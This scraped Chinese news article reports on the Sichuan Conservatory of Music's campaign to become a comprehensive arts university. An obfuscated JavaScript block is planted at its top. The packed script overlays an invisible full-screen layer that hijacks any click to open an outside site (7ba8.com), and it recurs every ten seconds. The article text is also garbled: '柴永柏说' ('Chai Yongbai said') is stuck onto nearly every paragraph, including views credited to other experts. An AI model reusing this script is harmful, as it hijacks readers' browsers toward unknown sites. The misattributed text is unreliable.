<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>四川音乐学院柴永柏书记说全国高等艺术教育综合机制与学科前景高峰论坛日前在京举行。柴永柏说对于论坛的承办单位四川音乐学院来说，之所以选择在千里之外的北京承办会议，缘于学院5年之前正式确立的一个目标：创建一所综合性艺术大学。柴永柏书记说学院希望借此次论坛再次呼吁主管部门支持其创建“艺术大学”。
柴永柏说四川音乐学院的前身为创建于1939年的四川省立戏剧音乐实验学校。新中国成立之后，经过院系调整，于1959年升格为本科院校，成为全国知名的九大音乐院校之一。
柴永柏说在此后的数十年间，川音和其他艺术院校一样，与新中国同经风雨，走过了一段崎岖曲折又可圈可点的历程。在高精尖的人才培养定位下，学院之中涌现出一批全国知名的音乐人才。不过，就办学格局、办学规模而言，在独立设置的31所艺术院校之中，四川音乐学院并无特别令人瞩目之处。
柴永柏说真正的变化发生于上世纪90年代末期。有艺术教育专家介绍，1997年重庆直辖后，位于重庆的四川美院不再归属于四川省，这让原本相对完整的四川艺术教育格局多少受到了影响。因此，四川教育界开始设法采取一些措施进行弥补。
柴永柏说这无疑给四川唯一一所独立设置的本科艺术院校四川音乐学院创造了机会。1998年，川音成立了专业影视类二级学院——国际演艺学院，1999年成立了舞蹈系，2000年成立了川音成都美术学院，2001年又开国内流行音乐专业高等教育之先河，在全国九大音乐院校中率先设立了通俗音乐学院。至此，形成了综合发展的办学格局。
柴永柏说而1999年之后持续数年的高校扩招，让四川音乐学院的综合化发展搭上了疾驰而来的高等教育普及化快车。2010年，四川音乐学院的在校生人数达到1.6万人，成为全国乃至世界范围内规模最大、学科门类最全的一所综合性高等艺术院校，创造了高等艺术教育领域的“川音模式”。
柴永柏说川音的高速扩张，引起了广泛的关注，也引发了包括艺术教育界在内的各界的激烈争论。支持者认为，川音的快速扩招，是顺应社会需求、适应经济社会发展需要之举，而包括“超女”“快男”在内的不断涌现的优秀人才，证明了川音人才培养模式的有效性。而质疑者则担忧，川音在短短数年之内即发展为超过万人规模的艺术院校，无法在师资、教学设施，特别是教材、人才培养模式等软件方面得到有效保障，这种有点大跃进式的扩张，恐怕并不符合艺术教育的客观规律。
柴永柏说面对质疑者的担忧，川音领导对于规模与质量的关系问题，还是有比较清醒的认识的。在全国高等艺术教育综合机制与学科前景高峰论坛上，四川音乐学院党委书记柴永柏教授表示，当前高等艺术教育面临的三大挑战之一即是“内涵发展提高质量的挑战”。
不过，柴永柏说对于川音来说，重视人才培养的质量问题，并不意味着先前规模扩张的路子出了问题。身处西部地区的川音人清楚，自身在教育资源的竞争中不占优势。尤其是在教育资源的配置与争夺很大程度上受制于市场的大环境下，经济实力相对较弱、对高端艺术人才缺乏强大吸引力，这是制约四川音乐学院这样一所所谓的地方艺术院校形成自身核心教学团队的巨大障碍。事实上，上世纪90年代初中期，有多名资深教授离开了学习、生活、教学多年的川音，而去了上海、深圳等地，有的人还带走了自己教授的尖子生。
事实上，柴永柏说在规模扩张的路上走得越快，越能切身体会到提高办学质量的重要性。而要提高办学质量，柴永柏说最为关键的还是以优秀师资为核心的教育教学资源。柴永柏说在现有的体制下，要吸引和凝聚尽可能多的优质教学资源，无疑又涉及到提升办学层次的问题。
柴永柏说为了申报创建综合性艺术大学，四川音乐学院开展了艰苦的筹备工作。为了完善学科格局，学院设立了戏剧系、现代器乐系、数字艺术系、传播艺术系、歌剧与艺术管理系等，并且成立了“五所一室三中心”作为首批学科高地突破口。所谓“五所”指的是高教研究所、音乐研究所、乐器研究所、流行音乐研究所和美术创作研究所。“三中心”则包括音乐治疗研究中心、音乐教育研究中心以及作曲技术研究中心。柴永柏在接受记者采访时表示，川音每年将斥资700万元作为“五所一室三中心”的经费支持。
柴永柏说在师资方面，川音已经邀请曾经培养出陈萨、李云迪等国际知名钢琴家的但昭义回校任教。从2009年开始，但昭义教授已经带领他的团队投入工作，此外，中国音协手风琴学会副会长陈军、作曲家胡小鸥以及当代艺术家方力钧将会积极参与其中。
柴永柏说申报的过程依然充满艰辛。目前，国家对学院更名为大学的规定，是面向所有高校的，其中的一些指标，对于艺术院校而言，恐怕很难达到。而这也是四川音乐学院联合其他综合性艺术院校共同呼吁主管部门按照“分类指导、适用需要”的原则，支持独立设置的艺术院校更名、创建为“艺术大学”的原因所在。
柴永柏说“是不是第一所综合性艺术大学，对于川音来说，并不是最重要的。”有艺术教育专家指出，川音创建艺术大学值得肯定，不过，创建的过程才是最重要的。川音要正视我国艺术学科建设基础相对较薄弱的现实，通过申报、创建的过程，切实加强学科建设，为下一步走内涵式发展道路打下基础；不能为创建而创建，而最终被带入一个发展的误区。 |
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